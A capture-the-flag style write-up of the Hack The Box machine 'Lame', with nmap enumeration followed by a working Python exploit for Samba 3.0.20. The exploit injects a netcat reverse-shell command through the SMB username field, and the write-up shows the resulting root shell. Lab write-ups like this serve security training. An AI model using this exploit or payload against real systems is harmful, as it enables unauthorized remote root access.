running an nmap scan on lame shows that we have four ports open running on a linux machine. An FTP port and two smb ports

```
root@kali:~/HTB/oscp_prep/Lame# nmap -sV -sC -oN lame 10.10.10.3
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-25 14:54 EDT
Nmap scan report for 10.10.10.3
Host is up (0.093s latency).
Not shown: 996 filtered ports
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 10.10.14.29
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -2d20h57m09s, deviation: 2h49m44s, median: -2d22h57m11s
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name:
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2020-05-22T15:57:51-04:00
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.59 seconds
```

In an attempt to enumerate the samba service more we find that the system seems to be running Windows NT 2000

```
root@kali:/usr/share/nmap/scripts# nmap --script=smb-mbenum.nse 10.10.10.3
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-25 15:22 EDT
Nmap scan report for 10.10.10.3
Host is up (0.092s latency).
Not shown: 996 filtered ports
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Host script results:
| smb-mbenum:
|   Master Browser
|     LAME  0.0  lame server (Samba 3.0.20-Debian)
|   Print server
|     LAME  0.0  lame server (Samba 3.0.20-Debian)
|   Server
|     LAME  0.0  lame server (Samba 3.0.20-Debian)
|   Server service
|     LAME  0.0  lame server (Samba 3.0.20-Debian)
|   Unix server
|     LAME  0.0  lame server (Samba 3.0.20-Debian)
|   Windows NT/2000/XP/2003 server
|     LAME  0.0  lame server (Samba 3.0.20-Debian)
|   Workstation
|_    LAME  0.0  lame server (Samba 3.0.20-Debian)

Nmap done: 1 IP address (1 host up) scanned in 8.72 seconds
```

Another thing I learned from doing this box is that you can run the following command to run all smb-vuln enumeration scripts against this machine with two ports

```
root@kali:~/HTB/oscp_prep/Lame# nmap --script=smb-vuln* 10.10.10.3 -p445,139
```

The output from this script is

```
PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: false
|_smb-vuln-regsvc-dos: ERROR: Script execution failed (use -d to debug)

Nmap done: 1 IP address (1 host up) scanned in 88.42 seconds
```

This tells us that theres no relevant vulns that the nse scripting engine was able to find

Looking at this - we will need to find a vulnerability in the samba 3.0.20 version

There is vulnerability in the service which lets you send shell sequence characters in the username parameter when connecting to smb and get a shell from it. I used a python script to automate the attack (shown below)

```
#!/usr/bin/python
import sys
from smb.SMBConnection import SMBConnection

def exploit(rhost, rport, lhost, lport):
        payload = 'mkfifo /tmp/hago; nc ' + lhost + ' ' + lport + ' 0</tmp/hago | /bin/sh
>/tmp/hago 2>&1; rm /tmp/hago'
        username = "/=`nohup " + payload + "`"
        conn = SMBConnection(username, "", "", "")
        try:
            conn.connect(rhost, int(rport), timeout=1)
        except:
            print('[+] Payload was sent - check netcat !')

if __name__ == '__main__':
    if len(sys.argv) != 5:
        print("[-] usage: python " + sys.argv[0] + " <RHOST> <RPORT> <LHOST> <LPORT>")
    else:
        print("[+] Connecting !")
        rhost = sys.argv[1]
        rport = sys.argv[2]
        lhost = sys.argv[3]
        lport = sys.argv[4]
        exploit(rhost, rport, lhost, lport)
```

Before running the script I opened up a netcat listener on my machine and then ran the script

```
root@kali:~/HTB/oscp_prep/Lame# python2.7 exploit.py 10.10.10.3 139 10.10.14.29 9000
[+] Connecting !
[+] Payload was sent - check netcat !
```

A moment later - we get a reverse shell

```
root@kali:~/HTB# nc -lvp 9000
listening on [any] 9000 ...
10.10.10.3: inverse host lookup failed: Unknown host
connect to [10.10.14.29] from (UNKNOWN) [10.10.10.3] 33159
```

after getting access with the reverse shell, the first thing I did is run “whoami” and notice that we are root! Machine completed!

```
root@kali:~/HTB# nc -lvp 9000
listening on [any] 9000 ...
10.10.10.3: inverse host lookup failed: Unknown host
connect to [10.10.14.29] from (UNKNOWN) [10.10.10.3] 33159
whoami
root
```